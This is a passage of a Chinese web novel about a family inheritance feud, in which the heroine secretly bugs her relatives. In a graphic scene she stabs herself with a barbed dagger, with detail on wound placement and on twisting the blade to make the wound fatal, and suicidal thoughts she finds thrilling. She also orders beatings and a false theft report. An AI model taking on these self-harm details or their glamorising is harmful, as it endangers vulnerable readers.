四姑在爷爷穿老衣、挪到灵堂去的那会儿,回房间躲着偷偷哭了好久。一向跟爷爷感情不好凑不到一块儿的人,居然是最伤心的。 五伯在车上跟五伯母说起她跟大伯的冲突,忧心忡忡,五伯母劝他少管:“大哥一家子近些年愈发不像话。轻意虽然目中无人了点,但她向来是个你不招惹她,她也懒得搭理你的性子,别掺合进去没得惹一身骚。” 五伯“呵”了声,说:“懒得搭理我?你信不信,回头我们车上就能找到监听器?” 谢轻意心说:“五伯是了解我的。” 谢轻意又听了一会儿堂哥堂姐侄子侄女们凑一块儿聊的八卦,收到她设的监听中心发来的消息:“老板,灵堂。” 她调出灵堂的监视画面。 这会儿已经是凌晨一点多,灵堂里只剩下她爸妈、大伯、二伯和二伯母在灵堂聊天。 大伯主输出,二伯打辅助,两人一唱一和正讲起她干的混账事。 什么让人做局带他儿子去赌,一晚上输了好几百万。 谢轻意心说:“什么事都往我头上扣,你谢承安走路上踩到屎,都是我叫人扔的呗。你那赌徒儿子,还用得着我给他做局?他去赌钱的时候,我没给他点了,都已经算是手下留情了。要不然,聚众赌博,数额巨大,怎么都得进去蹲几天。” 当然,主要还是敢开地下赌场的都有几把刷子,她不愿平白给自己惹一身骚。 她听了一会儿,大伯又把话头扯到他们小时候,忆当年,讲起他还是谢家继承人时有多风光,多照顾弟弟妹妹侄子侄女外甥们,如今有多落魄,大家有多难过。 二伯在旁感慨她性子独,别说照拂,能不祸害他们就不错了。 大伯又说:“我知道老七你没那意思,但,你们夫妻不管孩子,扔给爸妈带,老爷子年岁大,人也糊涂了,孩子给他吹吹耳旁风,连老宅都能哄到手。她一个年龄最小的孙辈,头上二十多个堂哥堂姐,再顶上还有伯伯姑姑,这宅子怎么都轮不到她一个人继承,可偏偏……” 讲着讲着,好心酸,哭了。 这宅子是他们的童年啊,老爷子说过要留给他的。哪想到有天回自己家,居然成了做贼的了…… 瞧谢七先生的脸色,显然是听进了他亲亲好大哥的话。 可以预见,回头谢七先生和文兰女士又得找她。 谢轻意觉得怪没意思的,不知不觉的听到凌晨三点,关了电脑去洗漱休息。 她又失眠,睁着眼睛到天亮。 …… 谢轻意躺到七点半起床,洗漱过后,去书房打开监控开着声音,一边听着宅子各种的动静,一边回复邮件、消息,处理工作上的事。 谢七先生跟二伯熬了一个通宵,看起来情绪不太好,满肚子怒气的样子。 早餐时间到,他们去了餐厅,没一会儿文兰女士、施言、三姑、四姑、五伯他们也都到了,谢家人口多,即使不算是谢大伯的那群私生子女,也能坐上好几桌。 谢轻意瞧见谢七先生的脸色就没胃口,更不想去吃早餐。 可以预见,去了,又是跟大伯起口舌之争,然后,必然是拿辈份压她,她又是个不受气的,这还办着丧事呢,万一没压住火气,把餐桌给掀了,多不好。 谢七先生看到谢轻意的位置空着,问:“轻意呢?还没起床吗?去个人叫叫她。” 施言假装没听到。满屋子的人,怎么也轮不到她。 跟谢轻意同辈的,大多都知道她不好惹,不愿沾这麻烦,没动。 低一辈的那些,就更不敢去了。 谢七先生见状,扭头给了在门口站岗的随从一个眼神。 那随从打听了谢轻意的住处,去找她。 谢轻意给站在她的小院门口站岗守门的保镖打了个电话,让他俩把人打发了。 特意派人来,她都没去,谢七先生的脸色更不好看。 文兰女士见状出了餐厅,给谢轻意打电话。 谢轻意直接挂断。 她怕去了控制不住,当场动手。 她没去吃早餐,大伯逮着机会继续煽风点火,直惹得谢七先生处在爆炸的边缘。五伯在旁边劝她爸,劝着劝着,又说漏嘴捅出她监听派人跟踪他的事。 谢七先生的脸色,已经彻底绷不住,早餐都没吃完,就朝着她的小院来了。 谢轻意见状,关了电脑和监控,冷冷一笑:“看来是不想好好办丧事了。” 她本不想在老先生丧事期间惹事的,但有人觉得谢七先生能治得了她,不停搞事,那就别怨她了。 谢轻意起身到旁边的展示柜前,在一堆收藏的匕首中挑了把带锯齿和倒钩的,这种匕首造成的伤口创口面更大。这要是捅到血管上,再一把拔出,估计叫救护车都来不及。 她给小院门口的保镖打了个电话:“谢七先生过来了,直接放他进来。” 然后,把匕首扔到身后的书桌上,站在书房里半靠着书桌,等着谢七先生进来。 约摸过了几分钟,谢七先生怒气冲冲地来到小院门口,一眼看到书房里站着的谢轻意,强 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 压住怒火,进入书房,问:“你到底要做什么?” 文兰女士也到了院门口,正往里来。 谢轻意扫了她一眼,便又将目光落在谢七先生身上,说道:“谢老七,奔丧就好好奔丧,奔完丧回你的部队,我们彼此井水不犯河水,OK?” 谢七先生气笑了,问:“谢老七?” 谢轻意淡声问道:“想让我叫你爸?你配吗?你尽过为人父的责任义务养过我吗?谢老七,养狗都知道扔根骨头,在别人打自家狗的时候都知道来护一护,您特有种,一个大哥半个爹,亲亲大哥想绑架撕票你的女儿又怎么啦,这不没死吗?没死,事情就过了。往后我还得继承敬着他这个大伯,是不是?” 谢七先生说:“都说了是误会,你怎么就死咬着不放!还有这祖宅,我问你,你见谁家绕过一堆儿子女儿,把宅子传给最年幼的小孙女的?你给你爷爷灌了什么迷魂汤?你大伯跟你大伯母过不到一块儿去,你掺合什么,还到处造他的谣,说他策划杀妻,坏他名声。” 文兰进屋,拉了拉谢七先生,说:“别跟孩子吵,好好说。” 她放软声音,对谢轻意说:“轻意,我们做人得顶天立地,不能让人戳脊梁骨。这宅子本该是你大伯继承的,等过户的时候,宅子写你大伯的名字。你衣食无忧,富贵不愁的,没必要闹得一家人……” 她的话没说完,一眼瞥见谢轻意从身后摸出把匕首,拿在手里把玩的同时,满脸嘲讽地看着他俩冷笑,声音当场噎住:这是要干嘛? 谢轻意说:“还是那句话,你们好好奔丧,别管闲事,我们互相放过彼此,好不好?” 谢七先生沉下脸道:“你拿匕首做什么?你要威胁谁?” 院门口,大伯、二伯也来了,身后还跟了一群人。 谢轻意啧了声,说:“不去守灵,来凑什么热闹。”一眼瞥见文兰女士一个箭步冲上来要夺匕首,她眼疾手更快,反手一刀直接插在了自己的肚子上。 避开了胃、脾、肾等重要器官,朝着肠子的位置捅进去。 匕首很锋利,轻易地刺破了衣服捅到了肚子里,剧痛袭来,谢轻意身上的力气像是一下子被抽光了,腿也当场软了下去,她的大脑有着瞬间空白,回过神来时,人已经跪坐在地上,握着匕首的手全是血,痛得浑身都在哆嗦。 疼痛,流血,竟然让她有着极畅快的感觉。 如果,她拔出匕首,再往要害上来一刀,是不是就可以走了。 文兰女士以为谢轻意要拿匕首对付谢承佑,只考虑到在夺匕首时避免被划伤,压根儿没想到谢轻意会捅她自己。 她愣了两秒,大喊声:“轻意——” 蹲下身去看她的伤口,只看到汨汨鲜血顺着她的手往外流,衣服都染红了。 谢七先生也愣住了。 哪有一言不合往自己肚子上捅的?他下意识怀疑谢轻意在肚子上绑了血包。上前,掀开衣服,没有血包,而是匕首大半都扎了进去,血顺着伤口往外冒。 谢轻意定了定神,握紧匕首,准备扭一圈再往外抽。这样,肠子大概率会被搅断很多,更难治,兴许就救不活了。 死,还是不死呢? 谢轻意有点犹豫。 活着没意思,爷爷不在了,不用担心她出什么事他会担心伤心受不了刺激。 她了无牵挂。 死在今天,还会是一场大戏。 5. 第 5 章 谢老七跟他的亲亲好大哥、二哥、五哥会生出嫌隙,等到谢老七意识到他唯一的孩子没了,会反复想今天的事,会去调查,然后兄弟反目。 即使不调查,还相信他的兄弟们,呵……她留下的遗产,会让谢家再次上演一场遗产风云的大好戏。 不说旁的,这两口子都在部队,她留下的财产谁来打理?交给谢家的谁?人家挑拨离间,害死了他们唯一的孩子,他俩还能继续这么大度不计较,连财产都交给别人么?给出去,等到贪他们财产的时候,就知道了! 三十多岁才生的孩子,到五十多岁了,白发人送黑发人。再过几年,退休了,别人左手子孙满堂,右手荣华富贵,而他俩……再拼一个? 谢轻意冰冷的眼神满是嘲讽地看着他俩。 随即又觉得没意思,巨没意思。 拿自己报复别人,会很蠢。 她就是心里不畅快,觉得活着没意思。 嗯,丧事上这么搞事,比较有意思。先躺了一个,再在这节骨眼上,以这种方式走一个,多有趣。 谢轻意想要给自己的伤再来深一点,深吸口气要去拔刀,然而吸气的动作让肚皮剧烈起伏了下,拉扯到伤口引起剧烈疼痛,痛得她直抽气。 谢七先生急得大吼:“你别动——叫救护车——” 他见谢轻意还要作,气得抬手给了她一个巴掌,大骂道:“你爷爷尸骨未寒,你能不能消停点?” 文兰本来就已经让谢轻意的样子给吓到了,再看谢七先生这时候还打孩子,气得大喊:“承佑你住手!” 谢轻意被打得头一歪,脸上火辣辣的疼。她的眼神骤然变得冰冷,直接拔出匕首朝着胸口扎去。 文兰下意识用自己的双手握住刀刃。 她的手落在谢轻意的胸膛上,匕首的尖和刃都包在她的双手中。 鲜血顺着指缝往下滴。 那血,有她的。也有谢轻意的。 谢七先生牢牢扣住谢轻意的手腕,喊:“文兰松手。” 文兰松开手的瞬间,谢七先生按住谢轻意的手腕用力一拧,她吃痛之下,手上一软,匕首也掉到了地上。 谢七先生气得抬起手再想给她一巴掌,却正好撞见谢轻意抬头看过来的眼神,冰冷漠然嘲讽,还有着他看不懂的意味,可下意识的,他觉得这孩子是真的想死。 要不是文兰反应快,那一把就捅进去了。 他的手停在半空,有点抖。 房门口站了一堆人,全都看傻了眼。 谢轻意背靠在书桌上,冷声道:“谢老七,爷爷之所以放弃谢承安,那是因为他今年七十六了,年龄大了精力、能力、思维、眼界都跟不上时代,他还后继无人。我二十岁,年龄占着先天优势,又是爷爷按照他的心意手把手培养起来的。在我和谢承安之间,让谁当继承人,很难选吗?” 谢七先生想分辨她说的真假,去看她的脸,瞧见的却是冷漠,甚至有些诡异的平静。 他又低头看向她的伤口。伤口很深,血还在往外流,衣服染红大片。 刺了一刀,还能这么平静?谢七先生让谢轻意整不会儿。他从她伤口的位置和出血量看得出来,是避开了要害的,不致命。可扎自己一刀,痛得额头上全是冷汗,浑身都在抖,表情怎么能这么平静? 谢轻意想要站起身,剧烈疼痛让她脱力,一点劲都使不上来。她扭头朝门口喊:“施言,进来扶我。” 施言只想看戏,不想搅和进去。 谢轻意说:“王定坤在东南亚,大伯给他的五十万封口费已经花完了,想知道在东南亚哪个国家吗?” 谢承安的脸色骤变。 施言飞奔进去,将谢轻意的胳膊搭在肩膀上,扶她站起身,斩钉截铁地说:“走,我送你去医院。” 谢轻意一点劲都使不上,施言的力气又不够,没能把她扶起来。 原门守在院门口的两个保镖早已经来到房门口,老板不发放,他俩怕坏事,不敢进去,待见到这一幕,哪还待得住,挤开门口众人飞快赶到谢轻意身边,便要搀着她往外去。 谢轻意说:“扶到我椅子那。” 她的肚子绞痛,腰都直不起来,眼前阵阵发黑。 她不知道匕首刺进肚子居然这么疼。 可疼,又很爽!特别是流血的感觉,好像在迈向死亡。 只是,这会儿还不能死。 既然要掀桌,那当然不能只掀这么一点点。 保镖不敢违逆她的意思,一人抬臂挡住要上前搀扶他的谢七先生和文兰,跟另一人合力把谢轻意扶到椅子处坐下。 施言跟在旁边。 谢轻意又对施言说了句:“王定坤从云南偷渡过去的,在缅甸。” 谢承安额头上的青筋都冒了起来,赶紧转身出去打电话。 谢七先生瞧见这一幕,眸光一沉,随即愤怒!谢轻意的话、施言和谢承安的反应足以说明一切。 谢轻意用沾满血的手拿起放在书桌上的手机,无力地趴在桌子上,拨打保镖队长的电话。 电话秒通,保镖队长的声音传来:“老板,我们就在你的院子外,您吩咐。” 谢轻意说:“把我大伯、二伯、五伯都打出去,包括他们的家人,打死打残我担着,要是你们进去了,蹲一天给一万,直到出来为止。” 保镖队长回道:“知道了。” 他挂了电话,向站成两排保镖的保镖转达了谢轻意的话,又说:“都悠着点,别把老板连累进去。” 老板给钱大方,福利待遇也好,他们可不想她出事。自己能不进去蹲,也还是不要进去的好。 一群保镖心里都有数,冲进院子,按住谢大、谢二、谢五及其家人就揍,专挑肚皮的软肉等不容易留下伤痕的地方下手。 谢大他们的保镖、司机全拦在谢家大宅外,没让进来。这会儿院子里全是谢家人,只有谢轻意有保镖,文兰、谢老六、谢老七身边跟着的随从虽说都非常能打,但他们的任务是保护好自己的领导,不参与斗殴,因此谢承安他们惨遭到单方面殴打。 谢老六见闹成这样子,上前大喊:“都住手!”指挥随从把谢轻意的保镖以及挨打的众人分开。 他又喊:“老七,愣着干什么?送医啊!”看那两个傻保镖还拦住老七和文兰,几步过去把人拉开,一把抱起软软趴在桌子上的谢轻意往外去。 保镖们本来要把谢六的随从一起揍的,待看到谢老六抱着自家老板出来,赶紧停手让路。 四个保镖接到队长的眼神示意,拔腿往前飞奔,有开路的,也有去开车的。 保镖队长不愿在大庭广众之下把事态闹到不可收拾,揍了几拳过后,带着人把谢大、谢二、谢五一家子连拖带拽,拖往大门外。 …… 这个时间,已经有人来吊唁。 结果,灵堂没有人。 随着来人的越来越多,大家聚在一块儿,都不明状况,正在好奇发生什么事了,好家伙,后院方向突然跑出来几个保镖,谢老六抱着满身血的谢轻意跟在后面,走得飞快。 再后面,吵吵嚷嚷的。 谢家的保镖拖着谢大、谢二、谢五他们出来,扔到大门外。 谢七和文兰跟在谢六身后跑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 文兰双手全是血,血顺着手往下滴。 谢七的衣服上也沾有血,神色匆匆,罕见地带了几分惶然。 来吊唁的人都看傻了。 谢老爷子刚没,谢家就闹成这样? 有不少人悄悄拍照摄像发到群里。他们都很好奇,谢轻意是让谁捅了。 谢六把谢轻意放到车上,吩咐已经坐到驾驶位和副驾驶位的保镖:“赶紧送去医院。” 他一回头,见到老七和文兰都已经飞奔赶到,忙把人塞进车,说:“快送医院,她疼成这样子,八成肠子都给捅穿了。”又叮嘱句:“你别再刺激她,当心出事后悔都晚了。” 谢轻意的精神状态看起来不太对劲。那眼神,叫人慎得慌。老七要是再不当回事,只当是吓唬他玩儿,怕是会再出事。 坐在驾驶位上的保镖看了眼像是昏过去的老板,一脚油门踩下去,以最快的速度送自家老板去医院。 保镖们把谢大、谢二、谢五一家子扔出去后,见到同事把老板送去医院,便回了院子,继续给老板看家。 谢六叫来管家,让他先去招呼宾客。他又在跟出来的众人中找到老四谢承珍,喊了声:“四姐”,示意她跟他来。 他与四姑去到后堂,问:“轻意到底什么个情况?争遗产捅自己刀子的,我还是头一回见。” 谢承珍都是懵的,说:“我哪知道。难道不是跟老七吵起来情绪失控……”她随即想起谢轻意冷心冷肺的,要是说她捅姑伯兄姐们,让人不意外,捅自己……哪怕是亲眼所见,仍觉不可思议。 她只能说:“你还是问问老七吧。” 谢六又问:“那叫王定坤的,又是怎么回事?” 谢承珍说:“不知道啊。这事,你问我,不如问施言或大嫂。” 谢六起身去找施言,没见到人。他找管家要了施言的电话打过去,占线。 他过了两分钟再打,电话通了。 谢六问:“王定坤是什么情况?” 施言说:“三年前,我妈出车祸,司机跑了。同一时间,谢承安的司机失踪。那司机就叫王定坤。” 谢六问:“司机跑了?车子呢?开车的不是车主?” 施言说:“车子是□□,还是辆失窃的□□。车上没有任何指纹和有用的线索留下,对方的车子撞向我妈车子的时候,恰好轻意的一个保镖开车从后面冲上来,把对方的车子顶飞了,我妈这才死里逃生,只受了点轻伤。” 恰好?谢六心说:“不是巧合吧。” 他皱紧眉头,回头看向灵堂。老爷子尸骨未寒,大哥跟轻意就闹到你死我活了,这里面还又涉及大哥极可能指使人谋杀大嫂一事,而轻意盯着这事,留着把柄呢。 谢六沉沉地叹口气,又去找到谢轻意的保镖队长,说:“你们再派几个人去守着你们老板,小心护着点。” 谢轻意连自己都捅了,这要是醒来,还不得把大哥往死里整。 他怕大哥狗急跳墙,来个先下手为强。 保镖队长已经把放假的都叫回来了,又通知了眼线在老板附近盯着。不过,听到谢六的话,什么都没说,点头应下。 老板有好多家当都在宅子里,他们得看好家,自己没撤。 谢轻意送到医院时已经昏迷了,直接进了急救室,安排紧急手术。 施言开车跟在谢轻意的车子后面去了医院。 要赶在谢承安的人之前先把王定坤找到,最好是从谢轻意这里得到具体地址。 谢轻意连对方最近缺钱都知道,显然是派人盯着的,对对方的行踪必然一清二楚。 6. 第 6 章 文兰女士手上的伤口一直在流血,血淋淋的,让跟着她的两个随从连拉带求送去急诊处理伤口。手术室外,只剩下谢七先生、施言,以及谢轻意的八个保镖,再就是施言和谢七先生的两个随从人员。 谢七先生盯着大门口“手术室”几个字发呆。 施言安排好人手紧急赶往缅甸找王定坤和等她的消息,便又坐回到谢七先生的旁边,喊了声:“七叔。” 这么多年,谢承安还在蹦达,他的这些弟弟妹妹们功不可没。别看谢六、谢七不常回来,也不太过问里面的事,身份地位摆在那,任谁都要顾虑几分。要动谢承安,就得断了他来自弟弟妹妹的助力。 谢七先生扭头看向施言,轻轻地“嗯”了声。对着这个收养来的大侄女,他倒是没像谢家人那么排斥,问了句:“大嫂还好吗?” 施言有点让谢七先生逗乐了:你女儿都快没了,还有心情关心我妈。 且真要是关心,也不会是这时候才问。 她的脸上是半点不显,客气地回了句:“还好,手术挺成功的。” 谢七先生又顺势问了些大伯母的病情。 施言差点翻脸:你搁这搞领导慰问呢。 忍住!毕竟谢轻意都只敢用捅自己来收拾的人,施言不觉得自己有叫板的实力。 她应付了谢七先生一会儿,瞥见文兰女士过来,拿出手机,调出昨天站在角落里录的视频,点开,调大声音,递到谢七先生的面前。 视频中,谢大问谢老先生:“老宅呢?你不会真的打算留给谢轻意吧?” 之后是谢二也跳了出来,再然后就是父子间的那场对话。 “这些年,你还不止一次谋划着要杀妻。” “你说,你干的这些畜生事,我拿什么老脸去地下见我兄弟,要不要走的时候带你一起下去,给你岳父一个交待?” 这些话可是大庭广众之下出自亲爹的口! 谢七先生的脸都青了。 文兰女士走过来,本想拿过手机再看看是什么情况,奈何双手绑着纱布,于是轻轻碰了下谢七先生。 谢七先生把视频从头播放,结果,好家伙,视频里拍到当时谢家的人看谢轻意的眼神,特别是自家亲大哥看她时,那眼神跟淬了毒似的。 这情况哪还有不明白的,一家子抱团欺负人呢。 文兰女士的眼圈都红了,气得连手上的伤口都感觉不到疼了,心口疼。 施言收回手机,揣进兜里,又说:“我妈妈的那间公司说是市值八个多亿,但去年一整年的盈利才一千三百多万。为了这么一家公司,谢承安具体实施的杀妻行动,让谢轻意逮到把柄的,我知道的,就有三次。” 谢七先生和文兰女士同时看向施言。 哪怕他们刚才已经从老爷子那知道谢承安不止一次杀妻,听到三次,仍旧心惊,更心惊于谢轻意参与进去手里有谢承安的把柄。 可以想象,谢承安在除不掉施惠心彻底占有公司的情况下,得有多恨谢轻意,又有多忌惮她。 施言又幽幽补充道:“大家都在传,谢轻意从爷爷那得继承了一百多个亿。谢轻意的保镖团队,明面上的就有三十多人,这牌面二位都比不了吧?她在防谁呢?” 还能防谁?自然是防谢承安了。 谢七先生和文兰女士的脸色都已经不能用难看来形容了。他们知道施言跟谢承安不对付,有心挑拨,可视频里拍到的,今天发生的……又深深的刺痛着他俩。老大在他们跟前中伤轻意,他在说谎! 施言又轻轻地问了句:“七叔、七婶只有轻意一个孩子吧?” 只有一个孩子,这会儿在里面抢救呢。别人要害她,你俩蹦出来当帮凶。 施言真想说了句:死了,可就一个都没有了。 虽说很想留在这里看戏,但再留下去容易碍人眼被迁怒到。施言起身,去旁边的住院大楼探望施惠心。 施惠心刚做完检查让护士推回病房,见到施言,意外极了:“怎么这时候过来了?” 这个时间不是在灵堂操办丧事么。 施言帮着护士摆正病床,又帮施惠心整理好被子,把床头摇起来,让她能靠得舒服些。她坐在床边的椅子上,将今早发生的事告诉施惠心。 她抬指比划道:“伤口让匕首的锯齿拉开,皮翻肉绽的,嘴巴那么大的一个口子,肠子断了,急性大出血,送到医院时已经昏迷了,这会儿还在抢救。” 施惠心都听懵了,半晌才问出句:“那真是亲生的?” 施言的嘴角微挑,满是嘲讽地说道:“他大哥才是亲生的吧。谢轻意都拿刀子捅自己了,谢老七还一耳光抽过去,要不是那一耳光刺激得谢轻意当场把匕首从肚子里抽出来,不会伤到这么严重。那么多人在,没有一个人着急送医,还是谢老六去把轻意抱到车上……” 施惠心深深地无语。 她失去过孩子,一子一女,最是知道丧子之痛有多折磨。若是谁敢这么欺负她的孩子,早扑上去拼命了。哪像那两口子,不是自己养的,那是一点都不心疼。 施惠心对施言说:“轻意那边你多上心些,多走动起来。这孩子,也是个可怜的。”说着轻轻地叹了口气。 她对谢家的很多人都没好感,但对于谢轻意还是有三分感激的。 如果不是老爷子还念点旧情,出手回护一二,她早些年就没了。后来,老爷子年岁大了,逐渐管束不了子孙,施言在国外读书还有学业要完成,她舍不得让施言早早地卷进这些争斗中,而自己身体状况如江河日下,是真差点死在谢承安手里,好在有谢轻意对谢承安连削带打,多次出来护她,她才能撑到现在。 在谢家,能够动得了谢承安的,也就谢轻意了。 谢轻意可怜?施言颇不认同地挑挑眉,被亲生父母抛弃的自己,没资格去可怜父母双全有百亿家产继承的谢轻意。 施言问:“王定坤的事,妈怎么看?” 施惠心说:“就算能抓到王定坤,仅凭他的口供,在缺少其它有力证据的情况下,只怕也定不了谢承安那畜生的罪。谢承安七十六了,我跟他是夫妻关系,就算证据确凿,他也会从轻判处,说不定再来个缓刑什么的,一天都不用进去。” 施言颇为认同地点点头,又轻轻吐出三个字:“谢轻意。” 这回过后,只要谢轻意能活下来,她能咬死谢承安。 …… 谢轻意在ICU躺了三天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,之后转入VIP病房。 施言是第一个来探视的,告诉她:“今天爷爷出殡。爷爷在家停灵一天,便送到了殡仪馆,后面的事情由大伯、二伯在操持。” 谢轻意神情漠然地扫了眼施言,伤口疼,没精神,不想说话。 施言拎了一堆水果和各种吃食过来。她撕了包鱼片,边吃边问:“王定坤到底在哪?我的人,还有谢承安的人找了他三天,都没找到。” 谢轻意没搭理她,只用眼角余光扫了眼桌子上放的果篮和旁边的零食大礼包。 啧,探望做过肠道大手术吃不了饭的人,带零食。谢轻意默默地送了两个骂人的脏字给施言。 施言把鱼片递到谢轻意面前,问:“要来点吗?” 谢轻意冷冷地睨了眼施言:贱不贱? 施言的眉头一挑,“哦,忘了你现在还不能吃东西。” 她放下鱼片,换了包夏威夷果。 谢轻意对零食没兴趣,亦没有半点胃口,只觉施言的行为幼稚且无聊。她闭上眼睛睡觉,心头烦躁,睡不着。 有人来到病房外,让保镖拦住了:“谢先生,老板吩咐了,不见你们。” 紧跟着,门口就传来了动手的声音。 谢七先生和文兰女士的随从上前拦住保镖,双方动起手来,谢七先生趁机打开房门,跟文兰女士进入病房。 护士大声喊:“医院不能打架——” 谢轻意喊了声:“住手。”说话一大声,肚皮起伏大,扯到伤口,又是一阵疼。 疼痛感刺激着神经,有点难受,又有种另类刺激,不讨厌这种感觉,反而有种拿针去戳濒死的鱼,戳一下,鱼往前蹿一下,有点濒死前蹦达、还活着的感觉。 施言从床边的椅子上起身,麻利地给二位让开位置,顺便瞄了眼外面的战况。谢轻意的四个保镖,跟谢七先生、文兰女士各带来的两个随从交手,居然能不落下风,是有点真本事的。 谢七先生坐下后,问谢轻意:“那些事,为什么不跟我们说?” 文兰在床边坐下,拿出哄小朋友的语气说:“轻意,以后有什么事要跟爸爸妈妈讲,不能什么事都憋在肚子里自己委屈。” 大概是没这么哄过人,说起话来别别扭扭的。 谢轻意强压住心头的不适,抬眼看向他俩,问:“放过彼此,不好吗?” 文兰女士的声音放得更软更柔:“轻意,是爸爸妈妈对不起你,不该听别人讲什么就信什么,相信我们,以后都不会了,好不好?” 施言在旁边直挑眉:早干嘛去了? 她敢说,谢轻意绝对没这么好哄。 谢轻意不想搭理他俩,更不想看他俩在这里上演为人父母的嘴脸,怪恶心人的。 有道是,来也不往非礼也,不能只有她受罪不是? 谢轻意面无表情地拿过放在床边的手机,打字飞快,发了条所有人可见的朋友圈:“纯血傻逼夫妻,为帮大哥抢遗产逼杀亲生女儿,又跑来医院一边上演保镖随从4V4大战,一边表演父慈母爱。刚出ICU,气都没喘一口,狗逼夫妻就上门来祸害人,唯恐我死不成。想爆炸,艹!” 她面无表情地把手机递给谢七先生。 7. 第 7 章 谢七先生看到谢轻意刚发的朋友圈,脸色当场就绿了,随即铁青,然后阴沉得可怕。他目不转睛地盯着谢轻意,只觉陌生至极,活像第一天认识她。 文兰瞧见丈夫的脸色不对,拿过谢轻意的手机,看完倒抽口气,难以置信地叫道:“轻意!” 谢轻意拿回自己的手机揣进被子里,又指了指门口:“慢走,不送。” 谢七先生额头上的筋都鼓了起来,突突直跳。 文兰赶紧伸手拉住谢七先生的胳膊往外拽,道:“孩子还伤着,别动手。” 动手?谢轻意又想起在书房挨的那一巴掌。这是她这辈子唯一一次挨打。她抬起头看向夫妻俩,倏然笑了。 向来顶着冷漠脸的人,在剑拔弩张吵的时候,突然轻笑出声,整个人都变得柔和轻妩起来,仿佛变了个人,瞬间把神经病气质拉满。 谢轻意目光盈盈的看着他俩,说:“请问二位,老年失独套餐、家破人亡套餐、法治新闻套餐、社会新闻套餐,你们想要哪个?甭客气,直接点,包满足。” 谢七先生上下打量谢轻意,问:“所以,你这是在拿自己威胁我们?” 谢轻意的眉头一挑,道:“对呀。我就是在威胁你们。谁叫我有这本钱呢?我要是哪天一个不高兴,从车库里开辆小千万的豪车,找一辆交警的直接怼上去,来点嚣张发言,大声嚷嚷把你俩的单位职位报出来,再给自己买个高位热搜,请问二位如何应对?” 她满眼看好戏地盯着盛怒的谢七先生,脸上的表情带着挑衅、轻蔑,还有点疯,且自信满满:我一个光脚板的,怕你们两个吃公家饭的! 施言心说:“确诊了,谢轻意是真有点精神病在身上。” 谢七先生气得半天说不出话,又真没法把她从病床上拖下来打一顿,最后只能强忍怒气,伸出手指点点谢轻意,表示以后再收拾她,转身出了病房。 文兰女士想说点什么,瞧见谢轻意大受刺激的模样,最终只说出句:“你好好养伤,我们改天来看你。” 谢轻意在他俩转身的瞬间,表情瞬间恢复毫无表情的漠然,朝门口喊了声:“阿辉、耀光,进来!” 两个保镖快步进屋,在病床前恭敬站好,低声问:“老板,你有什么吩咐?” 谢轻意说:“找到那两口子坐的车,赶在他俩上车前把车砸了,砸到开不了的程度。” 阿辉有点犹豫,道:“老板,犯法的事,咱可不可以不干?” 谢轻意说:“他俩回来奔丧,坐的是我的车。我让自己的保镖砸自己的车,犯什么法?” 阿辉和耀光齐齐声应:“好勒。” 两人迅速出了病房,联系设备中心,查车辆定位。他们老板的车全部装有定位器,一找一个准。 谢轻意又打电话给保镖队长,让他把家里所有的车都送去保养,再让保镖用他们自己的身份证去租车公司租几辆豪车停到车库。要是这两口子坐他们租来的车出门,直接报警,车被偷了。 她又发消息给秘书,让秘书按照她的要求写封实名举报信过来,之后到书房抽屉底下找U盘,拿到医院来找她。 过了不到半个小时,秘书拿着U盘和打印好的举报信来到病房。 谢轻意看过举报信,签上自己的名字,按上手指印,在检查过U盘无误后,给举报信拍照留证,要是税务局不处理谢承平,她连税务局的一起咬。 她将东西交给秘书,吩咐道:“赶在下班前,送去税务局,交到局长那里,我实名举报我二伯偷税漏税,这是证据。” 秘书将举报信和U盘一起装进信封收好,应道:“好,我这就去。”她又说:“老板,您保重,我们大家都靠着您吃饭呢。您长命百岁,大富大贵。” 谢轻意没好气地扫她一眼。 秘书塞了两颗糖在谢轻意的手里:“知道您吃不了东西,可以含嘴里甜甜嘴。”就没那么苦了。 谢轻意挥挥手,打发走了秘书。 身上的冷意淡了些许。 她没吃秘书给的糖,而是顺手放在床头柜上,又将目光落到旁边看了半天热闹的施言身上。她说道:“想要王定坤的下落,自己找。” 施言扁嘴,装出一副委屈模样:“这不,三天了,还没找到嘛。您再给指点指点?” 谢轻意呵了声,心说:“找个人而已,有那么难吗。” 她从手机邮箱里调出谢海偷卖公司材料、以及原材料采购以次充好的证据,发给施言,说:“看在你蹲在这里半天的份上,送你点东西。” 谢海,谢承伯的私生子之一,之前在采购部做主管。 施言掏出手机,查看邮件,挑挑眉,道:“你这是想借我手报复谢承安吧。” 谢轻意说:“金额巨大,够得上经济罪了。” 钝刀子割肉才够疼,慢慢来,来日方长,不然多没意思。 施言又坐到谢轻意的旁边,好奇地打量着她,问:“你没挂个精神科看看?” 谢轻意心说:“你不也没挂?” 她干完这些事,心情更不好了。 互相伤害,何必呢? 谢轻意靠在枕头上,闭目养神。伤口疼,好暴躁,不想说话。 施言仔细看完邮件内容,转给自己新挖来的副总,让她报警。 她发完邮件,又点开微信回了几条信息,看到提示有谢轻意的未读朋友圈消息。 谢轻意会发朋友圈?她加了谢轻意好友八年,一条朋友圈都没见过。这回躺在病床上,突然发起朋友圈来了? 施言点开谢轻意的朋友圈,看得刚发不久的内容,愣了好几秒时间,才抬起头看向谢轻意,叹了句:“牛逼。” 难怪谢老七会是那副模样。 谢轻意睁开眼看向施言,目光意味不明。 施言瞧见谢轻意眼神不善,像受惊的兔子般火速起身蹦向门口:“我还有事,告辞。”她怕这精神病把火烧到她身上。 谢轻意的目光凉凉的,声音淡淡的:“同大伯母说一声,跟谢承安做好切割,公司股份最好折现给他,钱不凑手的话,我这里可以收购谢承安的股份。” 大伯母做的是实业,资产是实打实的,落在谢承安手里这几年,盈利一年少于一年,股价一跌再跌,再加上施言这两年搅进来夺权,股价差不多已经跌到底了,这时候买入最合适。 要搞垮谢承安,可不能让他手里还有几个亿的资产打底,能不牵连到大伯母,还是不要牵连的好。 施言挑眉,心说:“你这么不客气的吗?” 就是瞧不得谢轻意这副高高在上吩咐人的死样子。 她坐回到病床边:“我妈刚动完手术,不适合操劳,你想收购公司股份的事,可以跟我谈。” 谢轻意极冷淡地扫了眼施言,闭目养神,不理她。 公司是大伯母的,不是施言的。 